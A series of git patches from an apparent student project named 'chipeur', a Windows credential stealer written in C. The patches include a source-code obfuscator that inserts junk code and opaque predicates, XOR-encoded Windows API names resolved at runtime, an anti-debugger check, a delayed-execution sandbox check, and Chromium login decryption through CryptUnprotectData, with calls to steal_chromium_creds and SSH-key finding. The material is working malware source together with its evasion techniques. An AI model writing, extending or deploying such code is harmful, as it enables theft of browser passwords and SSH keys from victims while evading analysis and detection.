"label_%d_B:\n", label_id); - fprintf(output, " volatile int alt_var_%d = rand() %% 50;\n", - label_id); - fprintf(output, " alt_var_%d += (rand() %% 30);\n", label_id); - fprintf(output, "end_%d:\n", label_id); - } break; - } -} - -// Applies junk code and control flow obfuscation to a given source file. -void insert_obfuscation(const char *file_path) { - char temp_file[] = "obfuscated_temp.c"; - FILE *input = fopen(file_path, "r"); - FILE *output = fopen(temp_file, "w"); - - // Check if files opened successfully - if (!input || !output) { - perror("Error opening files"); - exit(EXIT_FAILURE); - } - - char line[MAX_LINE_LENGTH]; - int inside_function = 0; // Flag to track if we are inside a function - int obfuscations_in_function = 0; // Counter to limit obfuscations per function - int inside_struct = 0; // Flag to track if we are inside a struct definition - - // Process the input file line by line - while (fgets(line, sizeof(line), input)) { - // Detect struct definitions to avoid modifying them - if (strstr(line, "struct ") || strstr(line, "typedef struct")) { - inside_struct = 1; - } - if (strstr(line, "};") && inside_struct) { - inside_struct = 0; - } - // Detect function start by encountering an opening brace '{' outside of a struct - if (strstr(line, "{") && !inside_struct) { - inside_function = 1; - obfuscations_in_function = 0; // Reset obfuscation counter for new function - } - // Detect function end by encountering a closing brace '}' outside of a struct - if (strstr(line, "}") && !inside_struct) { - inside_function = 0; - } - - // Insert junk code before return statements if inside a function - if (inside_function && strstr(line, "return") && - obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { - if (rand() % 100 < JUNK_CODE_PROBABILITY) { - generate_junk_code(output); - obfuscations_in_function++; - } - } - - // Write the current line to the output file - fputs(line, output); - - // Insert obfuscation after semicolon if inside a function and not a return statement - if (inside_function && strstr(line, ";") && !strstr(line, "return") && - obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { - // Randomly insert junk code - if (rand() % 100 < JUNK_CODE_PROBABILITY) { - generate_junk_code(output); - obfuscations_in_function++; - } - // Randomly insert control flow obfuscation - if (rand() % 100 < CONTROL_FLOW_PROBABILITY) { - generate_control_flow(output); - obfuscations_in_function++; - } - // Randomly insert opaque predicates for additional obfuscation - if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) { - generate_control_flow(output); - obfuscations_in_function++; - } - } - } - - // Close file streams - fclose(input); - fclose(output); - - // Replace the original file with the obfuscated version - if (rename(temp_file, file_path) != 0) { - perror("Error replacing source file"); - exit(EXIT_FAILURE); - } - printf("Obfuscation successful for: %s\n", file_path); -} - -int main(int argc, char *argv[]) { - if (argc != 2) { - printf("Usage: %s \n", argv[0]); - return EXIT_FAILURE; - } - - insert_obfuscation(argv[1]); - return EXIT_SUCCESS; +// gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude --> +// ./build.sh +#include "junk_code_inserter.h" + +// Generates random junk code to obfuscate the source code. +void generate_junk_code(FILE *output) { + unsigned int rand_value; + rand_value = rand() % 5; // Selects a random junk code pattern + + switch (rand_value) { + case 0: { + // Introduces a volatile integer and performs random bitwise operations + int var_id = rand() % 1000; + fprintf(output, " volatile int random_val_%d = rand() %% 256;\n", + var_id); + fprintf(output, " for (int i = 0; i < 3 + (rand() %% 3); i++) {\n"); + fprintf( + output, + " random_val_%d ^= (random_val_%d + i) & (rand() %% 100);\n", + var_id, var_id); + fprintf(output, " }\n"); + fprintf(output, + " if ((random_val_%d & (1 << (rand() %% 8))) != 0) {\n", + var_id); + fprintf(output, " random_val_%d |= (rand() %% 0xFF);\n", var_id); + fprintf(output, " } else {\n"); + fprintf(output, " random_val_%d &= ~(rand() %% 0x7F);\n", var_id); + fprintf(output, " }\n"); + break; + } + + case 1: { + // Allocates a small array, fills it with random values, modifies one + // element, and frees it + int array_id = rand() % 1000; + int array_size = 2 + (rand() % 3); + fprintf( + output, + " volatile int* mem_block_%d = (int*)malloc(sizeof(int) * %d);\n", + array_id, array_size); + fprintf(output, " if (mem_block_%d) {\n", array_id); + fprintf(output, " for (int i = 0; i < %d; i++) {\n", array_size); + fprintf( + output, + " mem_block_%d[i] = (i * rand()) ^ (rand() %% 0xFFFF);\n", + array_id); + fprintf(output, " }\n"); + fprintf(output, + " mem_block_%d[rand() %% %d] ^= (rand() %% 0xFF);\n", + array_id, array_size); + fprintf(output, " free((void*)mem_block_%d);\n", array_id); + fprintf(output, " }\n"); + break; + } + + case 2: { + // Creates a small heap allocation, fills it with random values, performs + // some calculations, and frees it + int ptr_id = rand() % 1000; + fprintf( + output, + " volatile int* heap_var_%d = (int*)malloc(sizeof(int) * 3);\n", + ptr_id); + fprintf(output, " if (heap_var_%d) {\n", ptr_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf(output, " heap_var_%d[i] = (rand() << 16) | rand();\n", + ptr_id); + fprintf(output, " }\n"); + fprintf(output, + " heap_var_%d[1] ^= heap_var_%d[2] * heap_var_%d[0];\n", + ptr_id, ptr_id, ptr_id); + fprintf(output, " free((void*)heap_var_%d);\n", ptr_id); + fprintf(output, " }\n"); + break; + } + + case 3: { + // Introduces a control flow variable with bitwise operations and loops + int logic_id = rand() % 1000; + fprintf(output, + " volatile int control_flow_%d = rand() ^ (rand() << 16);\n", + logic_id); + fprintf(output, + " for (int i = (control_flow_%d & 0x3); i > 0; i--) {\n", + logic_id); + fprintf(output, + " control_flow_%d ^= (i * control_flow_%d) | (rand() %% " + "0xFFFF);\n", + logic_id, logic_id); + fprintf(output, " }\n"); + fprintf(output, " if ((control_flow_%d & 0x80000000)) {\n", logic_id); + fprintf(output, " control_flow_%d += rand();\n", logic_id); + fprintf(output, " } else {\n"); + fprintf(output, " control_flow_%d -= (rand() %% 0x3FF);\n", + logic_id); + fprintf(output, " }\n"); + break; + } + + case 4: { + // Generates a random seed and modifies it within a loop + int loop_id = rand() % 1000; + fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n", + loop_id); + fprintf(output, " volatile int modifier_%d = rand() %% 100 + 1;\n", + loop_id); + fprintf(output, + " for (int i = (seed_%d & 0x3); i < (4 + (modifier_%d & " + "0x1)); i++) {\n", + loop_id, loop_id); + fprintf(output, + " seed_%d = ((seed_%d * 0x5DEECE66DULL + 0xB) ^ (rand() " + "<< 16)) + modifier_%d;\n", + loop_id, loop_id, loop_id); + fprintf(output, " if ((seed_%d & 0xF) == 0) break;\n", loop_id); + fprintf(output, " }\n"); + break; + } + } +} + +// Generates random control flow obfuscation to make reverse engineering harder. +void generate_control_flow(FILE *output) { + unsigned int rand_value; + rand_value = rand() % 5; // Selects a random control flow obfuscation pattern + + switch (rand_value) { + case 0: { + // Creates a volatile control state variable and modifies it based on + // bitwise conditions + int var_id = rand() % 1000; + fprintf(output, + " volatile int control_state_%d = rand() ^ (rand() << 16);\n", + var_id); + fprintf(output, " if ((control_state_%d & 0x8000) == 0) {\n", var_id); + fprintf(output, " control_state_%d ^= (rand() << 8) | 0xFF00FF;\n", + var_id); + fprintf(output, " } else {\n"); + fprintf(output, " control_state_%d |= (rand() %% 0xFFFF);\n", + var_id); + fprintf(output, " }\n"); + break; + } + + case 1: { + // Declares a small buffer and modifies its contents based on random + // values + int buffer_id = rand() % 1000; + fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf( + output, + " buffer_control_%d[i] = (rand() << 24) | (rand() << 8);\n", + buffer_id); + fprintf(output, " }\n"); + fprintf(output, + " if ((buffer_control_%d[0] ^ buffer_control_%d[1]) > " + "buffer_control_%d[2]) {\n", + buffer_id, buffer_id, buffer_id); + fprintf(output, " buffer_control_%d[1] ^= buffer_control_%d[2];\n", + buffer_id, buffer_id); + fprintf(output, " }\n"); + break; + } + + case 2: { + // Uses bitwise operations and conditional logic to modify a variable + int branch_id = rand() % 1000; + fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n", + branch_id); + fprintf(output, + " volatile int bitmask_%d = (rand() << 16) | rand();\n", + branch_id); + + fprintf(output, " if (decision_%d > (0x7FFF * 3 / 4)) {\n", branch_id); + fprintf(output, " decision_%d ^= (bitmask_%d & 0x3F3F3F3F);\n", + branch_id, branch_id); + fprintf(output, " } else {\n"); + fprintf(output, " decision_%d &= ~(0xF0F0F0F);\n", branch_id); + fprintf(output, " }\n"); + break; + } + + case 3: { + // Implements an opaque predicate for obfuscation + int rand_id = rand() % 1000; + fprintf(output, " /* Opaque predicate */\n"); + fprintf(output, " int key_%d = rand() %% 255;\n", rand_id); + fprintf(output, + " int predicate_%d = ((key_%d * 0x6B8B4567) & 0x42) != 0;\n", + rand_id, rand_id); + fprintf(output, " if (predicate_%d) {\n", rand_id); + fprintf(output, " volatile int opaque_%d = rand();\n", rand_id); + fprintf(output, " opaque_%d ^= (opaque_%d << 16);\n", rand_id, + rand_id); + fprintf(output, " }\n"); + break; + } + case 4: { + // Uses a jump table with computed goto for control flow obfuscation + int label_id = rand() % 1000; + fprintf(output, + " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n", + label_id, label_id, label_id); + fprintf(output, " goto *jmp_table_%d[rand() %% 2];\n", label_id); + fprintf(output, "label_%d_A:\n", label_id); + fprintf(output, " volatile int control_var_%d = rand() %% 100;\n", + label_id); + fprintf(output, " control_var_%d ^= (rand() %% 20);\n", label_id); + fprintf(output, " goto end_%d;\n", label_id); + fprintf(output, "label_%d_B:\n", label_id); + fprintf(output, " volatile int alt_var_%d = rand() %% 50;\n", + label_id); + fprintf(output, " alt_var_%d += (rand() %% 30);\n", label_id); + fprintf(output, "end_%d:\n", label_id); + } break; + } +} + +// Applies junk code and control flow obfuscation to a given source file. +void insert_obfuscation(const char *file_path) { + char temp_file[] = "obfuscated_temp.c"; + FILE *input = fopen(file_path, "r"); + FILE *output = fopen(temp_file, "w"); + + // Check if files opened successfully + if (!input || !output) { + perror("Error opening files"); + exit(EXIT_FAILURE); + } + + char line[MAX_LINE_LENGTH]; + int inside_function = 0; // Flag to track if we are inside a function + int obfuscations_in_function = + 0; // Counter to limit obfuscations per function + int inside_struct = 0; // Flag to track if we are inside a struct definition + + // Process the input file line by line + while (fgets(line, sizeof(line), input)) { + // Detect struct definitions to avoid modifying them + if (strstr(line, "struct ") || strstr(line, "typedef struct")) { + inside_struct = 1; + } + if (strstr(line, "};") && inside_struct) { + inside_struct = 0; + } + // Detect function start by encountering an opening brace '{' outside of a + // struct + if (strstr(line, "{") && !inside_struct) { + inside_function = 1; + obfuscations_in_function = + 0; // Reset obfuscation counter for new function + } + // Detect function end by encountering a closing brace '}' outside of a + // struct + if (strstr(line, "}") && !inside_struct) { + inside_function = 0; + } + + // Insert junk code before return statements if inside a function + if (inside_function && strstr(line, "return") && + obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } + } + + // Write the current line to the output file + fputs(line, output); + + // Insert obfuscation after semicolon if inside a function and not a return + // statement + if (inside_function && strstr(line, ";") && !strstr(line, "return") && + obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + // Randomly insert junk code + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } + // Randomly insert control flow obfuscation + if (rand() % 100 < CONTROL_FLOW_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } + // Randomly insert opaque predicates for additional obfuscation + if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } + } + } + + // Close file streams + fclose(input); + fclose(output); + + // Replace the original file with the obfuscated version + if (rename(temp_file, file_path) != 0) { + perror("Error replacing source file"); + exit(EXIT_FAILURE); + } + printf("Obfuscation successful for: %s\n", file_path); +} + +int main(int argc, char *argv[]) { + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + return EXIT_FAILURE; + } + + insert_obfuscation(argv[1]); + return EXIT_SUCCESS; } \ No newline at end of file From 4a5be5f48d613c086a37fadd2c98cd784504c824 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Wed, 19 Feb 2025 16:01:14 +0100 Subject: [PATCH 39/49] fast clean --- include/obfuscation.h | 8 ++++---- src/chipeur.c | 5 ++--- src/obfuscation.c | 14 +++++++------- 3 files changed, 13 insertions(+), 14 deletions(-) diff --git a/include/obfuscation.h b/include/obfuscation.h index acf2c29..4f6870b 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -22,18 +22,18 @@ #define REFKNOWNFOLDERID const KNOWNFOLDERID * __MIDL_CONST typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, PBOOL pbDebuggerPresent); -typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName); +// typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName); typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB*, LPWSTR*, DATA_BLOB*, void*, void*, DWORD, DATA_BLOB*); typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*); -typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD dwFlags, HANDLE hToken, PWSTR *ppszPath); +// typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD dwFlags, HANDLE hToken, PWSTR *ppszPath); typedef struct { PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; - PLoadLibraryA funcLoadLibraryA; + //PLoadLibraryA funcLoadLibraryA; PCryptUnprotectData funcCryptUnprotectData; PCryptStringToBinaryA funcCryptStringToBinaryA; - PSHGetKnownFolderPath funcSHGetKnownFolderPath; + //PSHGetKnownFolderPath funcSHGetKnownFolderPath; } hidden_apis; diff --git a/src/chipeur.c b/src/chipeur.c index 546920b..ba88dc2 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -53,9 +53,8 @@ int main(void) { "correctement.\n"); #endif } - char msvcrt_str[] = "\x47\x59\x5c\x49\x58\x5e\x04\x4e\x46\x46"; - XOR_STR(msvcrt_str, strlen(msvcrt_str)); - + // char msvcrt_str[] = "\x47\x59\x5c\x49\x58\x5e\x04\x4e\x46\x46"; + // XOR_STR(msvcrt_str, strlen(msvcrt_str)); // apis.funcLoadLibraryA(msvcrt_str); steal_chromium_creds(); diff --git a/src/obfuscation.c b/src/obfuscation.c index 0f8133b..2eb70b2 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -33,7 +33,6 @@ void resolve_apis(hidden_apis *apis) { XOR_WSTR(kernel_str, wcslen(kernel_str)); HMODULE hKernel32 = GetModuleHandleW(kernel_str); - printf("[DEBUG] Kernel32 loaded at: %p\n", hKernel32); // Resolve strings @@ -45,7 +44,6 @@ void resolve_apis(hidden_apis *apis) { wchar_t crypt32_str[] = L"\x49\x58\x53\x5a\x5e\x19\x18\x04\x4e\x46\x46"; // crypt32.dll XOR_WSTR(crypt32_str, wcslen(crypt32_str)); HMODULE hCrypt32 = LoadLibraryW(crypt32_str); - printf("[DEBUG] Crypt32 loaded at: %p\n", hCrypt32); // Resolve functions in crypt32.dll @@ -62,16 +60,18 @@ void resolve_apis(hidden_apis *apis) { apis->funcCryptStringToBinaryA = (PCryptStringToBinaryA)GetProcAddress(hCrypt32, cryptStringToBinaryA_str); - /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; + + // Resolve functions in kernel32.dll + apis->funcCheckRemoteDebuggerPresent = + (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, + checkRemoteDbg_str); + + /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; XOR_STR(loadLibA_str, strlen(loadLibA_str)); char SHGetKnownFolderPath_str[] = "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" "\x5e\x42"; XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/ - - apis->funcCheckRemoteDebuggerPresent = - (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, - checkRemoteDbg_str); //apis->funcLoadLibraryA = //(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); // apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( From 47d548cf66a2222846cecaee39364eede5b7ffa5 Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Wed, 19 Feb 2025 22:15:58 +0100 Subject: [PATCH 40/49] update name --- makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/makefile b/makefile index bcca30b..ed91455 100644 --- a/makefile +++ b/makefile @@ -4,7 +4,7 @@ INCLUDE_DIR = include/ OBJ_DIR = obj/ # add the object file used here -OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)delayed_execution.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o +OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)delay_execution.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o CC=x86_64-w64-mingw32-gcc CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ @@ -45,7 +45,7 @@ $(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h $(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ -$(OBJ_DIR)delayed_execution.o : $(SRC_DIR)delayed_execution.c $(INCLUDE_DIR)delayed_execution.h +$(OBJ_DIR)delay_execution.o : $(SRC_DIR)delay_execution.c $(INCLUDE_DIR)delay_execution.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ $(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h From b5ee51e8ab92f374b5f711ba070c357f3b908771 Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Wed, 19 Feb 2025 22:16:14 +0100 Subject: [PATCH 41/49] refactor main implementation --- src/chipeur.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/src/chipeur.c b/src/chipeur.c index 2561c26..94657eb 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -17,7 +17,13 @@ int main(void) { // Allows us to print non-ASCII characters for debug SetConsoleOutputCP(CP_UTF8); - delay_execution(100); + // 1 minute + if (delay_execution(60000) == EXIT_FAILURE) { +#ifdef DEBUG + fprintf(stderr, "Timing inconsistencies while delaying execution"); +#endif + return EXIT_FAILURE; + } hello(); steal_chromium_creds(); From 24876d1f325a5a3dc7b88e92ba0044ce7bb60f47 Mon Sep 17 00:00:00 2001 From: ErrorTeaPot <98967114+ErrorTeaPot@users.noreply.github.com> Date: Fri, 4 Apr 2025 11:40:32 +0200 Subject: [PATCH 42/49] Update makefile --- makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/makefile b/makefile index 3c7e501..48d8b85 100644 --- a/makefile +++ b/makefile @@ -12,7 +12,7 @@ CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-deref #not needed for now LDFLAGS =# -Wl,--strip-all -LLIB= -luuid -lole32 +LLIB= -luuid -lole32 -lws2_32 DEBUG=-DDEBUG .PHONY : all help clean @@ -70,4 +70,4 @@ clean: help: @echo "chipeur:\tto create the binary of the project" @echo "clean:\tto remove the binary and .o files" - @echo "help:\tto display this help" \ No newline at end of file + @echo "help:\tto display this help" From 23f9e46088192e4bee86761cfe768b0601ad6404 Mon Sep 17 00:00:00 2001 From: ErrorTeaPot <98967114+ErrorTeaPot@users.noreply.github.com> Date: Fri, 4 Apr 2025 11:43:14 +0200 Subject: [PATCH 43/49] Update obfuscation.h --- include/obfuscation.h | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/include/obfuscation.h b/include/obfuscation.h index 4f6870b..c2e7dcb 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -1,7 +1,7 @@ #ifndef OBFUSCATION_H #define OBFUSCATION_H -#include #include +#include #include #include @@ -19,24 +19,26 @@ } \ } while (0) -#define REFKNOWNFOLDERID const KNOWNFOLDERID * __MIDL_CONST +#define REFKNOWNFOLDERID const KNOWNFOLDERID *__MIDL_CONST -typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, PBOOL pbDebuggerPresent); +typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, + PBOOL pbDebuggerPresent); // typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName); -typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB*, LPWSTR*, DATA_BLOB*, void*, void*, DWORD, DATA_BLOB*); -typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*); -// typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD dwFlags, HANDLE hToken, PWSTR *ppszPath); - +typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB *, LPWSTR *, DATA_BLOB *, + void *, void *, DWORD, DATA_BLOB *); +typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE *, + DWORD *, DWORD *, DWORD *); +// typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD +// dwFlags, HANDLE hToken, PWSTR *ppszPath); typedef struct { PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; - //PLoadLibraryA funcLoadLibraryA; + // PLoadLibraryA funcLoadLibraryA; PCryptUnprotectData funcCryptUnprotectData; PCryptStringToBinaryA funcCryptStringToBinaryA; - //PSHGetKnownFolderPath funcSHGetKnownFolderPath; + // PSHGetKnownFolderPath funcSHGetKnownFolderPath; } hidden_apis; - void resolve_apis(hidden_apis *apis); -#endif // OBFUSCATION_H +#endif // OBFUSCATION_H From 7ae7f0c03139b970694005ce4a2a5512c99e53b7 Mon Sep 17 00:00:00 2001 From: ErrorTeaPot <98967114+ErrorTeaPot@users.noreply.github.com> Date: Fri, 4 Apr 2025 11:45:06 +0200 Subject: [PATCH 44/49] Update chromium.h --- include/chromium.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/include/chromium.h b/include/chromium.h index 09da6fb..5ab8482 100644 --- a/include/chromium.h +++ b/include/chromium.h @@ -3,8 +3,9 @@ #include #include -#include "obfuscation.h" + #include "logins.h" +#include "obfuscation.h" #define MAX_BROWSER_NAME_SIZE 20 #define MAX_LOGIN_DATA_PATH_SIZE 57 From 7c4589e52f0737a8ed7531c3d534049783a243d9 Mon Sep 17 00:00:00 2001 From: ErrorTeaPot <98967114+ErrorTeaPot@users.noreply.github.com> Date: Fri, 4 Apr 2025 11:46:04 +0200 Subject: [PATCH 45/49] Update chipeur.c --- src/chipeur.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/src/chipeur.c b/src/chipeur.c index 29c8195..e4c9a59 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -5,7 +5,6 @@ #include #include #include - #include #include @@ -40,14 +39,13 @@ int main(void) { while (1); } else { #ifdef DEBUG - printf("Debug program detected on the process.\n"); + printf("Debug program detected on the process.\n"); #endif } } else { #ifdef DEBUG - printf( - "Error on CheckRemoteDebuggerPresent call. Error code : %lu\n", - GetLastError()); + printf("Error on CheckRemoteDebuggerPresent call. Error code : %lu\n", + GetLastError()); #endif } } else { From c9e7e566bf5901ab7bf52377d892a499dc887a2a Mon Sep 17 00:00:00 2001 From: ErrorTeaPot <98967114+ErrorTeaPot@users.noreply.github.com> Date: Fri, 4 Apr 2025 11:46:45 +0200 Subject: [PATCH 46/49] Update obfuscation.c --- src/obfuscation.c | 45 ++++++++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 21 deletions(-) diff --git a/src/obfuscation.c b/src/obfuscation.c index b9a0312..01ce3ff 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -35,46 +35,49 @@ void resolve_apis(hidden_apis *apis) { HMODULE hKernel32 = GetModuleHandleW(kernel_str); - // Resolve strings char checkRemoteDbg_str[] = "\x69\x42\x4f\x49\x41\x78\x4f\x47\x45\x5e\x4f\x6e\x4f\x48\x5f\x4d\x4d\x4f" "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str)); - wchar_t crypt32_str[] = L"\x49\x58\x53\x5a\x5e\x19\x18\x04\x4e\x46\x46"; // crypt32.dll - XOR_WSTR(crypt32_str, wcslen(crypt32_str)); - HMODULE hCrypt32 = LoadLibraryW(crypt32_str); - + wchar_t crypt32_str[] = + L"\x49\x58\x53\x5a\x5e\x19\x18\x04\x4e\x46\x46"; // crypt32.dll + XOR_WSTR(crypt32_str, wcslen(crypt32_str)); + HMODULE hCrypt32 = LoadLibraryW(crypt32_str); - // Resolve functions in crypt32.dll - char cryptUnprotectData_str[] = "\x69\x58\x53\x5a\x5e\x7f\x44\x5a\x58\x45\x5e\x4f\x49\x5e\x6e\x4b\x5e\x4b"; + // Resolve functions in crypt32.dll + char cryptUnprotectData_str[] = + "\x69\x58\x53\x5a\x5e\x7f\x44\x5a\x58\x45\x5e\x4f\x49\x5e\x6e\x4b\x5e" + "\x4b"; XOR_STR(cryptUnprotectData_str, strlen(cryptUnprotectData_str)); - char cryptStringToBinaryA_str[] = "\x69\x58\x53\x5a\x5e\x79\x5e\x58\x43\x44\x4d\x7e\x45\x68\x43\x44\x4b\x58\x53\x6b"; + char cryptStringToBinaryA_str[] = + "\x69\x58\x53\x5a\x5e\x79\x5e\x58\x43\x44\x4d\x7e\x45\x68\x43\x44\x4b\x58" + "\x53\x6b"; XOR_STR(cryptStringToBinaryA_str, strlen(cryptStringToBinaryA_str)); - apis->funcCryptUnprotectData = (PCryptUnprotectData)GetProcAddress(hCrypt32, cryptUnprotectData_str); - - - apis->funcCryptStringToBinaryA = (PCryptStringToBinaryA)GetProcAddress(hCrypt32, cryptStringToBinaryA_str); + apis->funcCryptUnprotectData = + (PCryptUnprotectData)GetProcAddress(hCrypt32, cryptUnprotectData_str); + apis->funcCryptStringToBinaryA = + (PCryptStringToBinaryA)GetProcAddress(hCrypt32, cryptStringToBinaryA_str); - // Resolve functions in kernel32.dll + // Resolve functions in kernel32.dll apis->funcCheckRemoteDebuggerPresent = (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, checkRemoteDbg_str); - /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; - XOR_STR(loadLibA_str, strlen(loadLibA_str)); - char SHGetKnownFolderPath_str[] = - "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" - "\x5e\x42"; - XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/ - //apis->funcLoadLibraryA = - //(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); + /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; +XOR_STR(loadLibA_str, strlen(loadLibA_str)); +char SHGetKnownFolderPath_str[] = + "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" + "\x5e\x42"; +XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/ + // apis->funcLoadLibraryA = + //(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); // apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( // hKernel32, SHGetKnownFolderPath_str); } From 97da530f6d8991c9b6727c171fd060420449d8da Mon Sep 17 00:00:00 2001 From: ErrorTeaPot <98967114+ErrorTeaPot@users.noreply.github.com> Date: Fri, 4 Apr 2025 11:47:36 +0200 Subject: [PATCH 47/49] Update chromium.c --- src/chromium.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/src/chromium.c b/src/chromium.c index 2b33ab6..d04cb57 100644 --- a/src/chromium.c +++ b/src/chromium.c @@ -5,6 +5,7 @@ // clang-format on #include "chromium.h" + #include #include #include @@ -134,8 +135,8 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], // Decode the encoded key, this leaves us with an AES-GCM encrypted key if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, - decodedBinaryData, &decodedBinarySize, NULL, - NULL)) { + decodedBinaryData, &decodedBinarySize, + NULL, NULL)) { #ifdef DEBUG fprintf(stderr, "Failed decoding base64. Error code: %lu\n", GetLastError()); @@ -174,7 +175,8 @@ static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, DataInput.cbData = (DWORD)encryptedKeySize; DataInput.pbData = encryptedKey; - if (!apis->funcCryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, &DataOutput)) { + if (!apis->funcCryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 